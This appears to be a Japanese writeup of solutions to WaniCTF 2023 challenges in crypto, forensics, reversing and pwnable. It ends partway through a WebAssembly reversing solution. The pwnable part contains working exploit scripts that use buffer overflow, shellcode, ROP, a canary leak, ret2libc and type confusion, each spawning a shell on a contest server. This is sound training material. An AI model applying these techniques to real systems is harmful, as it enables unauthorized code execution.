WaniCTF 2023 Writeup
2023/5/4(木) 15:00 ~ 2023/5/6(土) 15:00に開催されたWaniCTF 2023のWriteupです。
個人で参加して、4841ptを獲得し35位でした。
Crypto
[Beginner] EZDORSA_Lv1
問題文に書いていることをそのまま計算するだけです。
p = 3 q = 5 n = p*q e = 65535 d = pow(e, -1, (p-1)*(q-1)) c = 10 print("wani{THE_ANSWER_IS_", pow(c, d, n), "}", sep="")
$ python3 solve.py wani{THE_ANSWER_IS_10}
[Easy] EZDORSA_lv2
の値がに対して小さいので、の7乗根を計算するとフラグを求められます。
import gmpy2 from Crypto.Util.number import * n = 25465155563758206895066841861765043433123515683929678836771513150236561026403556218533356199716126886534636140138011492220383199259698843686404371838391552265338889731646514381163372557117810929108511770402714925176885202763093259342499269455170147345039944516036024012941454077732406677284099700251496952610206410882558915139338028865987662513205888226312662854651278789627761068396974718364971326708407660719074895819282719926846208152543027213930660768288888225218585766787196064375064791353928495547610416240104448796600658154887110324794829898687050358437213471256328628898047810990674288648843902560125175884381 e = 7 c = 25698620825203955726406636922651025698352297732240406264195352419509234001004314759538513429877629840120788601561708588875481322614217122171252931383755532418804613411060596533561164202974971066750469395973334342059753025595923003869173026000225212644208274792300263293810627008900461621613776905408937385021630685411263655118479604274100095236252655616342234938221521847275384288728127863512191256713582669212904042760962348375314008470370142418921777238693948675063438713550567626953125 c_ = (c * pow(5, -100, n)) % n m, ok = gmpy2.iroot(c_, e) if ok: print(long_to_bytes(m))
$ python3 solve.py b'FLAG{l0w_3xp0n3nt_4ttAck}'
[Normal] EZDORSA_lv3
素因数が非常に小さいので、簡単に素因数分解することができます。また、の場合、はで求めることができます。
from Crypto.Util.number import * n = 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037 e = 65537 c = 1357660325421905236173040941411359338802736250800006453031581109522066541737601274287649030380468751950238635436299480021037135774086215029644430055129816920963535754048879496768378328297643616038615858752932646595502076461279037451286883763676521826626519164192498162380913887982222099942381717597401448235443261041226997589294010823575492744373719750855298498634721551685392041038543683791451582869246173665336693939707987213605159100603271763053357945861234455083292258819529224561475560233877987367901524658639475366193596173475396592940122909195266605662802525380504108772561699333131036953048249731269239187358174358868432968163122096583278089556057323541680931742580937874598712243278738519121974022211539212142588629508573342020495 prime_list = [16969003, 17009203, 17027027, 17045117, 17137009, 17151529, 17495507, 17685739, 17933647, 18206689, 18230213, 18505933, 18613019, 18868781, 18901951, 18947729, 19022077, 19148609, 19574987, 19803209, 20590697, 20690983, 21425317, 21499631, 21580043, 21622099, 21707797, 21781139, 21792359, 21982481, 22101437, 22367311, 22374509, 22407799, 22491913, 22537409, 22542229, 22550677, 22733041, 23033441, 23049673, 23083759, 23179243, 23342663, 23563571, 23611043, 23869933, 24027973, 24089029, 24436597, 24454291, 24468209, 24848633, 25564219, 25888721, 26055889, 26119147, 26839909, 27152267, 27304777, 27316717, 27491137, 27647687, 27801167, 28082749, 28103563, 28151399, 28620611, 29035709, 29738689, 29891363, 29979379, 30007841, 30013391, 30049171, 30162343, 30419063, 30461393, 30625601, 31004861, 31108043, 31123457, 31269479, 31384663, 31387957, 31390189, 31469279, 32307589, 32432339, 32514061, 32628367, 32687509, 32703337, 32709977, 32715343, 32737429, 32831261, 33388603, 33418129, 33472771] phi = 1 for p in prime_list: phi *= p - 1 d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))
$ python3 solve.py b'FLAG{fact0r1z4t10n_c4n_b3_d0n3_3as1ly}'
[Normal] pqqp
は、であるのに対して、の大きさが1024bit程度になっている点が怪しいです。
詳しい証明は分かりませんが、手元でいろいろ試してみると以下の式が成り立つことが分かりました。
\begin{align} p^{q} &\equiv p \mod n \\ q^{p} &\equiv q \mod n \end{align}
よって、が成り立ちます。
\begin{align} \phi(n) &= (p - 1)(q - 1) \\ &= n - p - q + 1 \\ &= n - s + 1 \end{align}
よって、からを求めることができるのでを求められます。
from Crypto.Util.number import * n = 31091873146151684702346697466440613735531637654275447575291598179592628060572504006592135492973043411815280891993199034777719870850799089897168085047048378272819058803065113379019008507510986769455940142811531136852870338791250795366205893855348781371512284111378891370478371411301254489215000780458922500687478483283322613251724695102723186321742517119591901360757969517310504966575430365399690954997486594218980759733095291730584373437650522970915694757258900454543353223174171853107240771137143529755378972874283257666907453865488035224546093536708315002894545985583989999371144395769770808331516837626499129978673 e = 65537 c = 8684906481438508573968896111659984335865272165432265041057101157430256966786557751789191602935468100847192376663008622284826181320172683198164506759845864516469802014329598451852239038384416618987741292207766327548154266633297700915040296215377667970132408099403332011754465837054374292852328207923589678536677872566937644721634580238023851454550310188983635594839900790613037364784226067124711011860626624755116537552485825032787844602819348195953433376940798931002512240466327027245293290482539610349984475078766298749218537656506613924572126356742596543967759702604297374075452829941316449560673537151923549844071 s = 352657755607663100038622776859029499529417617019439696287530095700910959137402713559381875825340037254723667371717152486958935653311880986170756144651263966436545612682410692937049160751729509952242950101025748701560375826993882594934424780117827552101647884709187711590428804826054603956840883672204048820926 phi = n - s + 1 d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))
$ python3 solve.py b'FLAG{p_q_p_q_521d0bd0c28300f}'
Forensics
[Beginner] Just_mp4
ファイルのプロパティを見ると、発行元がflag_base64:RkxBR3tINHYxbl9mdW5fMW5uMXR9
となっていたので、base64デコードするとフラグが得られました。
$ echo RkxBR3tINHYxbl9mdW5fMW5uMXR9 | base64 -d FLAG{H4v1n_fun_1nn1t}
[Beginner] whats_happening
適当なフォルダにupdogをマウントすると、中にFLAG.pngがありました。
$ sudo mount updog ./mnt $ ls mnt FAKE_FLAG.txt FLAG.png
[Easy] lowkey_messedup
USBデバイスとの通信を記録したpcapファイルが与えられます。 ここを見るとUSBpcapでキャプチャしたデータの最初の27byteはヘッダであり、通信内容はその後に続くとされています。
また、usbpcap decode
でgoogle検索するとキーボード入力をデコードするスクリプトが見つかったので、それを参考にスクリプトを書くとフラグが得られました。
$ cat solve.py from scapy.all import * keycode = { 0x04: "aA", 0x05: "bB", 0x06: "cC", 0x07: "dD", 0x08: "eE", 0x09: "fF", 0x0a: "gG", 0x0b: "hH", 0x0c: "iI", 0x0d: "jJ", 0x0e: "kK", 0x0f: "lL", 0x10: "mM", 0x11: "nN", 0x12: "oO", 0x13: "pP", 0x14: "qQ", 0x15: "rR", 0x16: "sS", 0x17: "tT", 0x18: "uU", 0x19: "vV", 0x1a: "wW", 0x1b: "xX", 0x1c: "yY", 0x1d: "zZ", 0x1e: "1!", 0x1f: "2\"", 0x20: "3#", 0x21: "4$", 0x22: "5%", 0x23: "6&", 0x24: "7'", 0x25: "8(", 0x26: "9)", 0x27: "00", 0x2c: " ", 0x2d: "-_", 0x2f: "[{", 0x30: "]}" } p = rdpcap("chall.pcap") flag = "" for pkt in p: if len(pkt.load) <= 27: continue data = pkt.load[27:] x = data[2] if x == 0: continue is_shift = int(data[0] == 2) if x == 42: flag = flag[:-1] elif x == 40: flag += "\n" if x not in keycode: continue flag += keycode[x][is_shift] print(flag)
$ python3 solve.py WARNING: PcapReader: unknown LL type [249]/[0xf9]. Using Raw packets FLAG{Big_br0ther_is_watching_y0ur_keyb0ard}
[Normal] beg_for_a_peg
Wiresharkでpcapファイルを解析すると、flag.jpgをGETするHTTPリクエストが見つかります。そのパケットに対して「追跡→TCPストリーム」を実行して得られたバイト列をファイルとして書き出すとflag.jpgが得られました。
data = bytes.fromhex("ffd8ffe100754578696600004d4d...ffd9") with open("flag.jpg", "wb") as f: f.write(data)
[Hard] Apocalypse
うさみみハリケーンに付属している「青い空を見上げればいつもそこに白い猫」のステガノグラフィー解析機能を利用して、アルファチャンネルを無効にするとフラグが出てきました。
Misc
[Beginner] prompt
prompt injectionと検索すると出てきた記事を参考にしました。
[Easy] shuffle_base64
ハッシュ値が与えられているので、総当たりで並べ替えてハッシュ値が一致しているか確認することでフラグを求められます。
import base64 import hashlib import itertools enc = base64.b64decode("fWQobGVxRkxUZmZ8NjQsaHUhe3NAQUch") def split(enc): result = [] for i in range(0, len(enc), 3): result.append(enc[i:i+2]) return result split_enc = split(enc) for p in itertools.permutations(split_enc): tmp = b"".join(p) if not tmp.endswith(b"}d"): continue tmp = tmp[:-1] if hashlib.sha256(tmp).hexdigest() == "19b0e576b3457edfd86be9087b5880b6d6fac8c40ebd3d1f57ca86130b230222": print(tmp)
$ python3 solve.py b'FLAG{shuffle64}'
Pwnable
[Beginner] 01. netcat
指定されたサーバにnetcatでアクセスして、計算問題を3つ解けばシェルが起動するのでcat FLAG
するだけです。
$ nc netcat-pwn.wanictf.org 9001 +-----------------------------------------+ | your score: 0, remaining 100 challenges | +-----------------------------------------+ 140 + 93 = 233 Cool! +-----------------------------------------+ | your score: 1, remaining 99 challenges | +-----------------------------------------+ 866 + 224 = 1090 Cool! +-----------------------------------------+ | your score: 2, remaining 98 challenges | +-----------------------------------------+ 161 + 484 = 645 Cool! Congrats! ls FLAG chall redir.sh cat FLAG FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!}
[Easy] 02. only_once
適当に8文字入力するとchallの値が負の数になり、好きなだけ入力できるようになります。後は、01. netcat
と同じです。
$ nc only-once-pwn.wanictf.org 9002 +---------------------------------------+ | your score: 0, remaining 1 challenges | +---------------------------------------+ 950 + 818 = aaaaaaaa Oops... +---------------------------------------+ | your score: 0, remaining -1 challenges | +---------------------------------------+ 46 + 408 = 454 Cool! +---------------------------------------+ | your score: 1, remaining -2 challenges | +---------------------------------------+ 470 + 394 = 864 Cool! +---------------------------------------+ | your score: 2, remaining -3 challenges | +---------------------------------------+ 568 + 504 = 1072 Cool! Congrats! ls FLAG chall redir.sh cat FLAG FLAG{y0u_4r3_600d_47_c41cu14710n5!}
[Easy] 03. ret2win
リターンアドレスにwin関数のアドレスを書き込むだけです。
from pwn import * elf = ELF("./pwn-ret2win/chall") win = elf.symbols["win"] p = remote("ret2win-pwn.wanictf.org", 9003) payload = b'A' * 0x28 payload += p64(win) p.sendlineafter(b'> ', payload) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/wani2023/pwn/ret2win/pwn-ret2win/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to ret2win-pwn.wanictf.org on port 9003: Done [*] Switching to interactive mode $ cat flag cat: flag: No such file or directory $ ls FLAG chall redir.sh $ cat FLAG FLAG{f1r57_5739_45_4_9wn3r}
[Normal] 04. shellcode_basic
pwntoolsのshellcraftでシェルコードを作成して流し込むだけです。
from pwn import * context.arch = 'amd64' context.os = 'linux' p = remote('shell-basic-pwn.wanictf.org', 9004) p.sendline(asm(shellcraft.sh())) p.interactive()
$ python3 solve.py [+] Opening connection to shell-basic-pwn.wanictf.org on port 9004: Done [*] Switching to interactive mode $ ls FLAG chall redir.sh $ cat FLAG FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}
[Normal] 05. beginners ROP
ROPでexecve("/bin/sh", NULL, NULL)
を実行するだけです。
from pwn import * elf = ELF("chall") rop_pop_rax = elf.symbols["pop_rax_ret"] + 8 rop_xor_rsi = elf.symbols["xor_rsi_ret"] + 8 rop_xor_rdx = elf.symbols["xor_rdx_ret"] + 8 rop_mov_rsp_rdi = elf.symbols["mov_rsp_rdi_pop_ret"] + 8 rop_syscall = elf.symbols["syscall_ret"] + 8 p = remote("beginners-rop-pwn.wanictf.org", 9005) payload = b"A" * 0x28 payload += p64(rop_pop_rax) payload += p64(0x3b) # execve payload += p64(rop_xor_rsi) payload += p64(rop_xor_rdx) payload += p64(rop_mov_rsp_rdi) payload += b'/bin/sh\x00' payload += p64(rop_syscall) p.sendlineafter(b'> ', payload) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/wani2023/pwn/beginners_ROP/pwn-beginners-rop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to beginners-rop-pwn.wanictf.org on port 9005: Done [*] Switching to interactive mode $ ls FLAG chall redir.sh $ cat FLAG FLAG{h0p_p0p_r0p_po909090p93r!!!!}
[Normal] 06. Canaleak
FSBでCanaryをリークして、Canaryの値を壊さないようにリターンアドレスを書き換えるとwin関数を実行できます。 たまに失敗するので、何回か実行するとうまくいきます。
from pwn import * elf = ELF("./chall") win = elf.symbols["win"]+8 p = process("./chall") p = remote("canaleak-pwn.wanictf.org", 9006) # leak canary p.sendlineafter(b": ", "%9$p") canary = int(p.recvline().strip(), 16) payload = b'A' * 0x18 payload += p64(canary) payload += b'B' * 8 payload += p64(win) p.sendlineafter(b': ', payload) p.sendlineafter(b': ', b'YES') p.interactive()
k$ python3 solve.py [*] '/home/miso/ctf/wani2023/pwn/canaleak/pwn-Canaleak/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './chall': pid 4594 [+] Opening connection to canaleak-pwn.wanictf.org on port 9006: Done /home/miso/ctf/wani2023/pwn/canaleak/pwn-Canaleak/solve.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter(b": ", "%9$p") [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAA You can't overwrite return address if canary is enabled. Do you agree with me? : $ YES YES $ ls FLAG chall redir.sh $ cat FLAG FLAG{N0PE!}$
[Normal] 07. ret2libc
スタック上に__libc_start_call_main+128
のアドレスが乗っているので、それをもとにlibcのベースアドレスを計算すれば、ret2libcでシェルを実行できます。
from pwn import * context.arch = "amd64" libc = ELF("./libc.so.6") elf = ELF("./chall") p = remote("ret2libc-pwn.wanictf.org", 9007) p.recvuntil(b'0x28') libc_start_call_main = int(p.recvline().split(b'|')[1], 16) - 128 libc_start_main = libc_start_call_main + 0xb0 libc.address = libc_start_main - libc.symbols['__libc_start_main'] log.info(f"{hex(libc.address)=}") rop = ROP(libc) rop.raw(b'A' * 0x28) rop.raw(rop.find_gadget(["ret"])) rop.system(next(libc.search(b'/bin/sh'))) rop.raw(b'A' * 0x100) p.sendlineafter(b'> ', rop.chain()) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/wani2023/pwn/ret2libc/pwn-ret2libc/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/miso/ctf/wani2023/pwn/ret2libc/pwn-ret2libc/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to ret2libc-pwn.wanictf.org on port 9007: Done [*] hex(libc.address)='0x7f322003b000' [*] Loaded 218 cached gadgets for './libc.so.6' [*] Switching to interactive mode /bin/sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found $ ls FLAG chall redir.sh $ cat FLAG FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}
[Hard] 08. Time Table
mandatory_subjectとelective_subjectの2種類の科目を登録することができます。
typedef struct { char *name; int time[2]; char *target[4]; char memo[32]; char *professor; } mandatory_subject; typedef struct { char *name; int time[2]; char memo[32]; char *professor; int (*IsAvailable)(student *); } elective_subject;
メモリ配置を図示すると以下のようになります。
以下の2点が怪しいです。
- memoのアドレスが2つの構造体でちょうど32byte分ずれている。
- elective_subjectに関数ポインタがある。
科目を設定する関数であるregister_mandatory_classを見てみます。
void register_mandatory_class() { int i; mandatory_subject choice; print_table(timetable); printf("-----Mandatory Class List-----\n"); print_mandatory_list(); printf(">"); scanf("%d", &i); choice = mandatory_list[i]; printf("%d\n", choice.time[0]); timetable[choice.time[0]][choice.time[1]].name = choice.name; timetable[choice.time[0]][choice.time[1]].type = MANDATORY_CLASS_CODE; timetable[choice.time[0]][choice.time[1]].detail = &mandatory_list[i]; }
mandatory_listにアクセスする際にインデックスのチェックを行っていません。また、mandatory_listの後ろのアドレスにelective_listがあります。
$ readelf -s chall | grep list 38: 00000000004050c0 264 OBJECT GLOBAL DEFAULT 26 mandatory_list 39: 00000000004051e0 128 OBJECT GLOBAL DEFAULT 26 elective_list ...
よって、範囲外参照でelective_listの要素を指定すると、type confusionを起こせそうなことが分かります。 実際に、register_mandatory_classのインデックスとして4を指定すると、elective_list[1]を参照することができます。
次に、write_memoに着目します。
void write_memo() { comma *choice = choose_time(timetable); printf("WRITE MEMO FOR THE CLASS\n"); if (choice->type == MANDATORY_CLASS_CODE) { read(0, ((mandatory_subject *)choice->detail)->memo, 30); } else if (choice->type == ELECTIVE_CLASS_CODE) { read(0, ((elective_subject *)choice->detail)->memo, 30); } }
choice->type
に応じてキャストを行い、memoフィールドに30バイト読み込む処理を行っています。
choice->type
は、register_mandatory_class
関数とregister_elective_class
関数でセットされるため、先ほどのtype confusionを利用することで、elective_subjectをmandatory_subjectとしてキャストさせることができます。
メモリ配置の図を見ると、mandatory_subject->memo
はelective_subject->professor
と同じオフセットを指しています。type confusionを行うことで、professorとIsAvailableに任意の値を書き込むことができるようになります。
print_elective_subject
関数にprintf("Professor : %s\n", elective_subjects->professor);
があるので、professorにGOTのアドレスを書き込んでおけばlibcをリークできます。
また、register_elective_subject
関数にchoice.IsAvailable(&user)
があるので、userのアドレスを引数として任意の関数を実行できます。
userの型であるstudent
は、以下のように定義されています。
typedef struct { char name[10]; int studentNumber; int EnglishScore; } student;
studentの一番最初の要素はchar name[10]
になっているので、choice.IsAvailable(&user)
はchoice.IsAvailable(&user.name)
と考えることができます。このnameはプログラムを実行したときに設定できるので、IsAvailable
にsystem関数のアドレスを設定しname
を/bin/sh
とすればシェルを起動できそうです。
よって、この問題は以下の手順で解くことができます。
- 起動時にnameを
/bin/sh
にする。 register_mandatory_class
で4を入力してtype confusionを起こす。write_memo
で、適当なGOTとIsAvailableTWIのアドレスを書き込む。register_elective_class
でlibcのベースアドレスを取得する。write_memo
で、適当なアドレスとsystem関数のアドレスを書き込む。register_elective_class
で1(The World of Intellect)を選択する。
from pwn import * p = remote("timetable-pwn.wanictf.org", 9008) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./chall") got_puts = elf.got["puts"] is_avail_twi = elf.symbols["IsAvailableTWI"] def register_mandatory(idx): p.sendlineafter(b'>', b'1') p.sendlineafter(b'>', str(idx).encode()) def register_elective(idx): p.sendlineafter(b'>', b'1') p.sendlineafter(b'>', str(idx).encode()) def register_student(name, id, major): p.sendlineafter(b': ', name) p.sendlineafter(b': ', str(id).encode()) p.sendlineafter(b': ', str(major).encode()) def write_memo(choose, data): p.sendlineafter(b'>', b'4') p.sendlineafter(b'>', choose) p.sendafter(b'WRITE MEMO FOR THE CLASS\n', data) register_student(b"/bin/sh", 999, 9999) register_mandatory(4) write_memo(b'FRI 3', p64(got_puts)+p64(is_avail_twi)) # leak libc p.sendlineafter(b'>', b'2') p.recvuntil(b'The World of Intellect - ') libc_puts = u64(p.recvline().rstrip().ljust(8, b'\x00')) libc.address = libc_puts - libc.symbols["puts"] p.sendlineafter(b'>', b'1') write_memo(b"FRI 3", p64(got_puts) + p64(libc.symbols["system"])) p.interactive()
$ python3 solve.py [+] Opening connection to timetable-pwn.wanictf.org on port 9008: Done [*] '/usr/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/miso/ctf/wani2023/pwn/pwn-TimeTable/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode MON TUE WED THU FRI 1 (null) (null) (null) (null) (null) 2 (null) (null) (null) (null) (null) 3 (null) (null) (null) (null) The World of Intellect 4 (null) (null) (null) (null) (null) 5 (null) (null) (null) (null) (null) 1. Register Mandatory Class 2. Register Elective Class 3. See Class Detail 4. Write Memo 5. Exit >$ 2 MON TUE WED THU FRI 1 (null) (null) (null) (null) (null) 2 (null) (null) (null) (null) (null) 3 (null) (null) (null) (null) The World of Intellect 4 (null) (null) (null) (null) (null) 5 (null) (null) (null) (null) (null) -----Elective Class List----- 0 : World Affairs - Nomura Kameyo 1 : The World of Intellect - \xd0^\x12T\x7f >$ 1 $ ls FLAG chall redir.sh $ cat FLAG FLAG{Do_n0t_confus3_mandatory_and_el3ctive}
Reversing
[Beginner] Just_Passw0rd
strings just_password | grep FLAG
でフラグが見つかります。
$ strings just_password | grep FLAG FLAG is FLAG{1234_P@ssw0rd_admin_toor_qwerty}
[Easy] javersing
javersing.jarをunzipで展開すると、javersing.classが得られます。
JD-guiを使ってjaversing.classファイルをデコンパイルすると、次のコードが得られました。
import java.util.Scanner; public class javersing { public static void main(String[] paramArrayOfString) { String str1 = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s"; boolean bool = true; Scanner scanner = new Scanner(System.in); System.out.println("Input password: "); String str2 = scanner.nextLine(); str2 = String.format("%30s", new Object[] { str2 }).replace(" ", "0"); for (byte b = 0; b < 30; b++) { if (str2.charAt(b * 7 % 30) != str1.charAt(b)) bool = false; } if (bool) { System.out.println("Correct!"); } else { System.out.println("Incorrect..."); } } }
同じ処理を行うPythonコードを書くとフラグが求まりました。
enc_flag = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s" flag = [None for _ in range(30)] for i in range(30): flag[(i*7) % 30] = enc_flag[i] print("".join(flag))
$ python3 solve.py FLAG{Decompiling_java_is_easy}
[Easy] fermat
gdbで、print_flag関数にジャンプすることでフラグが出力されました。
$ gdb fermat ... pwndbg> b *main pwndbg> r pwndbg> jump *print_flag Continuing at 0x555555555207. FLAG{you_need_a_lot_of_time_and_effort_to_solve_reversing_208b47bd66c2cd8}
[Easy] Lua
CRYPTEDlIIlIIlI関数内の変数c
の中身を出力してみると、RC4っぽい関数と変数が見つかりました。
$ lua5.1 main.lua i 128 S table: 0x55911cb20f80 j 81 cipher function: 0x55911ca5abb0 generate function: 0x55911ca75390 schedule function: 0x55911cb20e80
CRYPTEDlIIlIIlIに渡されている変数a
を鍵、b
を暗号文としてRC4で復号するとフラグを含んだデータが出力されました。
import base64 from Crypto.Cipher import ARC4 enc = base64.b64decode("hNZ8nGxeJqN0jPo9p6vV/JIyjs7HeX/3fHBGcAtfjO6b7PhWhBevBHFUmpnPlVWhe6VWjX0xcmjxGhSll/sBYL3nfRxjVXDxx9GP0fKxqmXyz9KC7Gy4cFTd7JT4M4037RtHzqCMzODXBOpfNywDmyPi3p0J3hciFvCG3KbUuxDdQ+ausCmyA1Rzyl2rFeoMp+jabZm2E+uDYh537h8NLpcFnLYWsmKcwZJeMJo/laKCv8e+Q4ExNFwzXXolyY9DhaI7k33arVA14rFFV99YyVx15ilaadg5EA9WZrEewRImcxsNCG5IHp4XsB14n7gAx/rys0C9N3COzwc41/wBAsNJ1GguX3Sfo05gsoVO8/rdXPN8zRMPGksizYs9rnlGnkrO3OuSVgGISW63ZOayPL7RCOW4/o9ttNo+/IIyId5LlGXdz3rFyiTBO4vg1kUHt8bdX8moez/kqH6xmmupb4yr4Zn1jJBKqLtvEVKGcczIj0QZVSYMgHbpp/Wcc9Tpjs3V3U7GsUGFXIF7EcmiwA39wx6k3bHFVt4zC9oTNEA6BYdyW3TTF+iJcb56/BZS1VryNAcfrkJnp7UIBG25j7zIirn4usH/uS2jNi2qA+oK49X6gpru3xW4yhpx9L1HmInosAX5ObyQKtPXZqsMRoCsH+qFN+p8Z+l+2lxZYysJox/IZF7TJtEC1uosXhGD8EsbeJOAwfLDlZMXpwSeWCtOjk8bsMIKVMXAAOv2YSDs65G3IAGohfhHtzhBvQG2OLPjBnNM+i4DaDn7sA9d2At5eqCw8oXchaFVehVOYEdBlpB03ATat1EMAVzwjBrIILMmP04fb3Ph3JldtmrVvA==") key = b'k)-_Se*Zyr5hv:+6@N3' cipher = ARC4.new(key) print(base64.b64decode(cipher.encrypt(enc)))
$ python3 solve.py b'\x1bLuaQ\x00\x01\x04\x08\x04\x08\x00\x05\x00\x00\x00\x00\x00\x00\x00gg_y\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x04\x14\x00\x00\x00\x05\x00\x00\x00\x06@@\x00A\x80\x00\x00\x1c@\x00\x01\x05\x00\x00\x00\x06\xc0@\x00\x0b\x00A\x00\x81@\x01\x00\x1c\x80\x80\x01A\x80\x01\x00\x17@\x00\x00\x16\xc0\x00\x80\x85\xc0\x01\x00\xc1\x00\x02\x00\x9c@\x00\x01\x16\x80\x00\x80\x85\xc0\x01\x00\xc1@\x02\x00\x9c@\x00\x01\x1e\x00\x80\x00\n\x00\x00\x00\x04\x03\x00\x00\x00\x00\x00\x00\x00io\x00\x04\x06\x00\x00\x00\x00\x00\x00\x00write\x00\x04\x0e\x00\x00\x00\x00\x00\x00\x00Input FLAG : \x00\x04\x06\x00\x00\x00\x00\x00\x00\x00stdin\x00\x04\x05\x00\x00\x00\x00\x00\x00\x00read\x00\x04\x06\x00\x00\x00\x00\x00\x00\x00*line\x00\x04C\x00\x00\x00\x00\x00\x00\x00FLAG{1ua_0r_py4h0n_wh4t_d0_y0u_3ay_w4en_43ked_wh1ch_0ne_1s_be44er}\x00\x04\x06\x00\x00\x00\x00\x00\x00\x00print\x00\x04\x08\x00\x00\x00\x00\x00\x00\x00Correct\x00\x04\n\x00\x00\x00\x00\x00\x00\x00Incorrect\x00\x00\x00\x00\x00\x14\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x07\x00\x00\x00\x07\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00a\x00\t\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00b\x00\n\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00'
[Normal] theseus
angrで殴る
import angr proj = angr.Project("./chall") simgr = proj.factory.simgr() simgr.explore(find=lambda x: b'Correct!' in x.posix.dumps(1)) if simgr.found: print(simgr.found[0].posix.dumps(0))
$ python3 solve.py WARNING | 2023-05-06 18:58:08,952 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. WARNING | 2023-05-06 18:58:10,266 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior. WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages. WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff8c with 4 unconstrained bytes referenced from 0x401109 (_start+0x9 in chall (0x1109)) b'FLAG{vKCsq3jl4j_Y0uMade1t}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[Hard] web_assembly
雰囲気で解いたので、reversingは結構適当です。
初めに、index.wasmにアクセスして.wasmファイルを手に入れます。
ghidra_wasmという拡張機能をghidraにインストールして、index.wasmをデコンパイルします。
unnamed_function_13を見ると、prompt_nameやprompt_passといった関数やCorrect
やIncorrect
という文字列が見つかります。
undefined4 unnamed_function_13(void) { undefined4 uVar1; uint uVar2; undefined local_88 [12]; undefined local_7c [12]; undefined local_70 [12]; undefined local_64 [12]; undefined local_58 [12]; undefined local_4c [12]; undefined local_40 [12]; undefined local_34 [12]; undefined local_28 [12]; undefined local_1c [12]; undefined local_10 [12]; undefined4 local_4; local_4 = 0; unnamed_function_14(local_10,0x101a0); unnamed_function_14(local_1c,0x1024c); unnamed_function_14(local_28,&PTR_DAT_ram_00616c46_ram_0001019c); unnamed_function_14(local_34,0x101e6); unnamed_function_14(local_40,0x1006a); unnamed_function_14(local_4c,0x1011d); unnamed_function_14(local_58,0x10111); unnamed_function_14(local_64,0x100ca); unnamed_function_14(local_70,0x10000); uVar1 = import::env::prompt_name(); unnamed_function_14(local_7c,uVar1); uVar1 = import::env::prompt_pass(); unnamed_function_14(local_88,uVar1); uVar1 = unnamed_function_15(0x143c4,s_Your_UserName_:_ram_0001026d); uVar1 = unnamed_function_16(uVar1,local_7c); 